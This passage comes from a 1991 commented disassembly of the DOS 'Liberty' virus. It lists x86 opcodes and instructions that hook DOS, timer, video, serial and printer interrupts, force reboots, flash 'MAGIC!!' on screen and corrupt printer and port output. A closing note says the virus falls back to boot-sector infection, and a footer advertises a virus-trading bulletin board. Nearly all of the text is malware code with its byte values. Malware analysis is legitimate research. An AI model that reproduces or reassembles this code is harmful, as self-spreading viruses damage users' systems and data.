CS:089C 50 PUSH AX
CS:089D 1E PUSH DS
CS:089E 33C0 XOR AX,AX
CS:08A0 8ED8 MOV DS,AX
CS:08A2 833E860000 CMP WORD PTR [0086],+00 ;
CS:08A7 750F JNZ 08B8 ; Check if DOS is installed
CS:08A9 833E840000 CMP WORD PTR [0084],+00 ;
CS:08AE 7508 JNZ 08B8
CS:08B0 1F POP DS
CS:08B1 58 POP AX
CS:08B2 9D POPF
CS:08B3 EA00000000 JMP 0000:0000
CS:08B8 06 PUSH ES
CS:08B9 0E PUSH CS
CS:08BA 07 POP ES
CS:08BB E8C3F9 CALL 0281 ; Get vector 21h
CS:08BE E8F1F9 CALL 02B2 ; Set vector 21h
CS:08C1 E82000 CALL 08E4 ; Disconnect vector 8h
CS:08C4 E8FBF9 CALL 02C2 ; Set installation flag
CS:08C7 07 POP ES
CS:08C8 EBE6 JMP 08B0
;
; Revectoring
;
CS:08CA A12000 MOV AX,[0020]
CS:08CD 2E CS:
CS:08CE A3B408 MOV [08B4],AX
CS:08D1 A12200 MOV AX,[0022]
CS:08D4 2E CS:
CS:08D5 A3B608 MOV [08B6],AX
CS:08D8 B89B08 MOV AX,089B
CS:08DB FA CLI
CS:08DC A32000 MOV [0020],AX
CS:08DF 8C0E2200 MOV [0022],CS
CS:08E3 C3 RET
CS:08E4 33C0 XOR AX,AX
CS:08E6 8ED8 MOV DS,AX
CS:08E8 FA CLI
CS:08E9 2E CS:
CS:08EA A1B408 MOV AX,[08B4]
CS:08ED A32000 MOV [0020],AX
CS:08F0 2E CS:
CS:08F1 A1B608 MOV AX,[08B6]
CS:08F4 A32200 MOV [0022],AX
CS:08F7 C3 RET
CS:08F8 A17000 MOV AX,[0070]
CS:08FB 2E CS:
CS:08FC A3900A MOV [0A90],AX
CS:08FF A17200 MOV AX,[0072]
CS:0902 2E CS:
CS:0903 A3920A MOV [0A92],AX
CS:0906 B8580A MOV AX,0A58
CS:0909 FA CLI
CS:090A A37000 MOV [0070],AX
CS:090D 8C0E7200 MOV [0072],CS
CS:0911 C3 RET
;
; The next routine displays 'M A G I C ! !' on the screen for a second
;
CS:0912 50 PUSH AX
CS:0913 53 PUSH BX
CS:0914 51 PUSH CX
CS:0915 52 PUSH DX
CS:0916 56 PUSH SI
CS:0917 57 PUSH DI
CS:0918 1E PUSH DS
CS:0919 06 PUSH ES
CS:091A 9C PUSHF
CS:091B BB00B8 MOV BX,B800 ;
CS:091E 8EDB MOV DS,BX ;
CS:0920 0E PUSH CS ;
CS:0921 07 POP ES ;
CS:0922 33F6 XOR SI,SI ;
CS:0924 BF6809 MOV DI,0968 ;
CS:0927 B9A000 MOV CX,00A0 ;
CS:092A F3 REPZ ;
CS:092B A4 MOVSB ; Save screen
CS:092C BB00B8 MOV BX,B800 ;
CS:092F 8EC3 MOV ES,BX ;
CS:0931 0E PUSH CS ;
CS:0932 1F POP DS ;
CS:0933 33FF XOR DI,DI ;
CS:0935 BB080A MOV BX,0A08 ;
CS:0938 B95000 MOV CX,0050 ;
CS:093B B6CE MOV DH,CE ;
CS:093D 8A17 MOV DL,[BX] ;
CS:093F 80EA03 SUB DL,03 ;
CS:0942 26 ES: ;
CS:0943 8915 MOV [DI],DX ;
CS:0945 47 INC DI ;
CS:0946 47 INC DI ;
CS:0947 43 INC BX ;
CS:0948 E2F3 LOOP 093D ; Put text on screen
CS:094A E2FE LOOP 094A ; Wait
CS:094C BB00B8 MOV BX,B800 ;
CS:094F 8EC3 MOV ES,BX ;
CS:0951 0E PUSH CS ;
CS:0952 1F POP DS ;
CS:0953 33FF XOR DI,DI ;
CS:0955 BE6809 MOV SI,0968 ;
CS:0958 B9A000 MOV CX,00A0 ;
CS:095B F3 REPZ ;
CS:095C A4 MOVSB ; Restore screen
CS:095D 9D POPF
CS:095E 07 POP ES
CS:095F 1F POP DS
CS:0960 5F POP DI
CS:0961 5E POP SI
CS:0962 5A POP DX
CS:0963 59 POP CX
CS:0964 5B POP BX
CS:0965 58 POP AX
CS:0966 C3 RET
;
; A temporary screen buffer
;
DS:0960 4D 41 47 49 43 4D 41 47
DS:0970 49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49
DS:0980 43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43
DS:0990 4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D
DS:09A0 41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41
DS:09B0 47 49 43 4D 41 47 49 43-4D 41 47 49 43 4D 41 47
DS:09C0 49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49
DS:09D0 43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43
DS:09E0 4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D
DS:09F0 41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41
DS:0A00 47 49 43 4D 41 47 49 43
;
; The encrypted text 'M A G I C ! !'
;
DS:0A00 23 23 23 23 23 23 23 23
DS:0A10 23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23
DS:0A20 23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23
DS:0A30 23 23 23 23 23 23 23 23-23 23 50 23 44 23 4A 23
DS:0A40 4C 23 46 23 23 24 23 24-23 24 23 23 23 23 23 23
DS:0A50 23 23 23 23 23 23 23 23
;
; The next routine is the timer routine. It activates all the gadgets.
;
CS:0A58 9C PUSHF
CS:0A59 50 PUSH AX
CS:0A5A 1E PUSH DS
CS:0A5B 2E CS:
CS:0A5C FF06940A INC WORD PTR [0A94]
CS:0A60 2E CS:
CS:0A61 833E960A0B CMP WORD PTR [0A96],+0B ; Time for a reboot ?
CS:0A66 7433 JZ 0A9B
CS:0A68 2E CS:
CS:0A69 A1980A MOV AX,[0A98]
CS:0A6C 2E CS:
CS:0A6D 3906940A CMP [0A94],AX ; Time for gadgets on ?
CS:0A71 7430 JZ 0AA3
CS:0A73 7217 JB 0A8C
CS:0A75 050002 ADD AX,0200
CS:0A78 2E CS:
CS:0A79 3906940A CMP [0A94],AX ; Time for gadgets off ?
CS:0A7D 7446 JZ 0AC5
CS:0A7F 770B JA 0A8C
CS:0A81 2E CS:
CS:0A82 833E960A0A CMP WORD PTR [0A96],+0A ; Time for screen messing ?
CS:0A87 7503 JNZ 0A8C
CS:0A89 E886FE CALL 0912 ; Mess up screen
CS:0A8C 1F POP DS
CS:0A8D 58 POP AX
CS:0A8E 9D POPF
CS:0A8F EA00000000 JMP 0000:0000 ; Continue
CS:0A9B B8FFFF MOV AX,FFFF
CS:0A9E 50 PUSH AX
CS:0A9F 33C0 XOR AX,AX
CS:0AA1 50 PUSH AX
CS:0AA2 CB RETF
CS:0AA3 2E CS:
CS:0AA4 812E980A5001 SUB WORD PTR [0A98],0150
CS:0AAA 33C0 XOR AX,AX
CS:0AAC 8ED8 MOV DS,AX
CS:0AAE 2E CS:
CS:0AAF C606470B00 MOV BYTE PTR [0B47],00
CS:0AB4 90 NOP
CS:0AB5 2E CS:
CS:0AB6 C606950B00 MOV BYTE PTR [0B95],00
CS:0ABB 90 NOP
CS:0ABC 2E CS:
CS:0ABD C606080C00 MOV BYTE PTR [0C08],00
CS:0AC2 90 NOP
CS:0AC3 EBC7 JMP 0A8C
CS:0AC5 2E CS:
CS:0AC6 C606470BFF MOV BYTE PTR [0B47],FF
CS:0ACB 90 NOP
CS:0ACC 2E CS:
CS:0ACD C606950BFF MOV BYTE PTR [0B95],FF
CS:0AD2 90 NOP
CS:0AD3 2E CS:
CS:0AD4 C606080CFF MOV BYTE PTR [0C08],FF
CS:0AD9 90 NOP
CS:0ADA 2E CS:
CS:0ADB C706940A0000 MOV WORD PTR [0A94],0000
CS:0AE1 2E CS:
CS:0AE2 FF06960A INC WORD PTR [0A96]
CS:0AE6 EBA4 JMP 0A8C
CS:0AE8 A14000 MOV AX,[0040]
CS:0AEB 2E CS:
CS:0AEC A3430B MOV [0B43],AX
CS:0AEF A14200 MOV AX,[0042]
CS:0AF2 2E CS:
CS:0AF3 A3450B MOV [0B45],AX
CS:0AF6 B8360B MOV AX,0B36
CS:0AF9 FA CLI
CS:0AFA A34000 MOV [0040],AX
CS:0AFD 8C0E4200 MOV [0042],CS
CS:0B01 C3 RET
CS:0B02 FA CLI
CS:0B03 A15000 MOV AX,[0050]
CS:0B06 2E CS:
CS:0B07 A3910B MOV [0B91],AX
CS:0B0A A15200 MOV AX,[0052]
CS:0B0D 2E CS:
CS:0B0E A3930B MOV [0B93],AX
CS:0B11 B8840B MOV AX,0B84
CS:0B14 A35000 MOV [0050],AX
CS:0B17 8C0E5200 MOV [0052],CS
CS:0B1B C3 RET
CS:0B1C FA CLI
CS:0B1D A15C00 MOV AX,[005C]
CS:0B20 2E CS:
CS:0B21 A3040C MOV [0C04],AX
CS:0B24 A15E00 MOV AX,[005E]
CS:0B27 2E CS:
CS:0B28 A3060C MOV [0C06],AX
CS:0B2B B8FC0B MOV AX,0BFC
CS:0B2E A35C00 MOV [005C],AX
CS:0B31 8C0E5E00 MOV [005E],CS
CS:0B35 C3 RET
;
; Now the gadgets' routines. When activated, only the word MAGIC!! will be
; sent to screen, port, and printer.
;
CS:0B36 9C PUSHF ; Screen
CS:0B37 80FC09 CMP AH,09
CS:0B3A 740F JZ 0B4B
CS:0B3C 80FC0A CMP AH,0A
CS:0B3F 740A JZ 0B4B
CS:0B41 9D POPF
CS:0B42 EA00000000 JMP 0000:0000
CS:0B4B 2E CS:
CS:0B4C 803E470BFF CMP BYTE PTR [0B47],FF
CS:0B51 74EE JZ 0B41
CS:0B53 53 PUSH BX
CS:0B54 56 PUSH SI
CS:0B55 50 PUSH AX
CS:0B56 33DB XOR BX,BX
CS:0B58 2E CS:
CS:0B59 833E480B07 CMP WORD PTR [0B48],+07
CS:0B5E 7507 JNZ 0B67
CS:0B60 2E CS:
CS:0B61 C706480B0000 MOV WORD PTR [0B48],0000
CS:0B67 2E CS:
CS:0B68 8B1E480B MOV BX,[0B48]
CS:0B6C 2E CS:
CS:0B6D 8B3E480B MOV DI,[0B48]
CS:0B71 47 INC DI
CS:0B72 2E CS:
CS:0B73 893E480B MOV [0B48],DI
CS:0B77 BE3B0C MOV SI,0C3B
CS:0B7A 58 POP AX
CS:0B7B 2E CS:
CS:0B7C 8A00 MOV AL,[BX+SI]
CS:0B7E FEC0 INC AL
CS:0B80 5E POP SI
CS:0B81 5B POP BX
CS:0B82 EBBD JMP 0B41
CS:0B84 9C PUSHF ; Port
CS:0B85 80FC01 CMP AH,01
CS:0B88 740D JZ 0B97
CS:0B8A 80FC02 CMP AH,02
CS:0B8D 7436 JZ 0BC5
CS:0B8F 9D POPF
CS:0B90 EA00000000 JMP 0000:0000
CS:0B97 2E CS:
CS:0B98 803E950BFF CMP BYTE PTR [0B95],FF
CS:0B9D 74F0 JZ 0B8F
CS:0B9F 53 PUSH BX
CS:0BA0 56 PUSH SI
CS:0BA1 33DB XOR BX,BX
CS:0BA3 2E CS:
CS:0BA4 8A1E960B MOV BL,[0B96]
CS:0BA8 BE3B0C MOV SI,0C3B
CS:0BAB 2E CS:
CS:0BAC 8A00 MOV AL,[BX+SI]
CS:0BAE 2E CS:
CS:0BAF FE06960B INC BYTE PTR [0B96]
CS:0BB3 2E CS:
CS:0BB4 803E960B07 CMP BYTE PTR [0B96],07
CS:0BB9 7506 JNZ 0BC1
CS:0BBB 2E CS:
CS:0BBC C606960B00 MOV BYTE PTR [0B96],00
CS:0BC1 5E POP SI
CS:0BC2 5B POP BX
CS:0BC3 EBCA JMP 0B8F
CS:0BC5 2E CS:
CS:0BC6 803E950BFF CMP BYTE PTR [0B95],FF
CS:0BCB 74C2 JZ 0B8F
CS:0BCD 2E CS:
CS:0BCE FF1E910B CALL FAR [0B91]
CS:0BD2 80FC00 CMP AH,00
CS:0BD5 7F24 JG 0BFB
CS:0BD7 53 PUSH BX
CS:0BD8 56 PUSH SI
CS:0BD9 33DB XOR BX,BX
CS:0BDB 2E CS:
CS:0BDC 8A1E960B MOV BL,[0B96]
CS:0BE0 BE3B0C MOV SI,0C3B
CS:0BE3 2E CS:
CS:0BE4 8A00 MOV AL,[BX+SI]
CS:0BE6 2E CS:
CS:0BE7 FE06960B INC BYTE PTR [0B96]
CS:0BEB 2E CS:
CS:0BEC 803E960B07 CMP BYTE PTR [0B96],07
CS:0BF1 7506 JNZ 0BF9
CS:0BF3 2E CS:
CS:0BF4 C606960B00 MOV BYTE PTR [0B96],00
CS:0BF9 5E POP SI
CS:0BFA 5B POP BX
CS:0BFB CF IRET
CS:0BFC 9C PUSHF ; Printer
CS:0BFD 80FC00 CMP AH,00
CS:0C00 7407 JZ 0C09
CS:0C02 9D POPF
CS:0C03 EA00000000 JMP 0000:0000
CS:0C09 2E CS:
CS:0C0A 803E080CFF CMP BYTE PTR [0C08],FF
CS:0C0F 74F1 JZ 0C02
CS:0C11 53 PUSH BX
CS:0C12 56 PUSH SI
CS:0C13 33DB XOR BX,BX
CS:0C15 2E CS:
CS:0C16 8A1E3A0C MOV BL,[0C3A]
CS:0C1A BE3B0C MOV SI,0C3B
CS:0C1D 2E CS:
CS:0C1E 8A00 MOV AL,[BX+SI]
CS:0C20 FEC0 INC AL
CS:0C22 2E CS:
CS:0C23 FE063A0C INC BYTE PTR [0C3A]
CS:0C27 2E CS:
CS:0C28 803E3A0C07 CMP BYTE PTR [0C3A],07
CS:0C2D 7507 JNZ 0C36
CS:0C2F 2E CS:
CS:0C30 C6063A0C00 MOV BYTE PTR [0C3A],00
CS:0C35 90 NOP
CS:0C36 5E POP SI
CS:0C37 5B POP BX
CS:0C38 EBC8 JMP 0C02
;
; The encrypted text 'MAGIC!!'
;
DS:0C3A 4C 40 46 48 42 20 20
;
; Important note:
; When there is no longer space on the disk to infect a file, the Liberty
; virus will infect the bootsector. This is done in the 'OHIO' way.
;
;
;
; End of Liberty (2867) disassembly. (c) 1991 by Remco van Helvoort.
; This document may be freely shared. If you have any comments or some
; nice little viruses for analysis, feel free to drop me a note.
;
; Remco van Helvoort
; Bredastraat 3
; 5224 VD 's-Hertogenbosch
; Holland
;
; ─────────────────────────────────────────────────────────────────────────
; ────────────────────> and Remember Don't Forget to Call <────────────────
; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
; ─────────────────────────────────────────────────────────────────────────
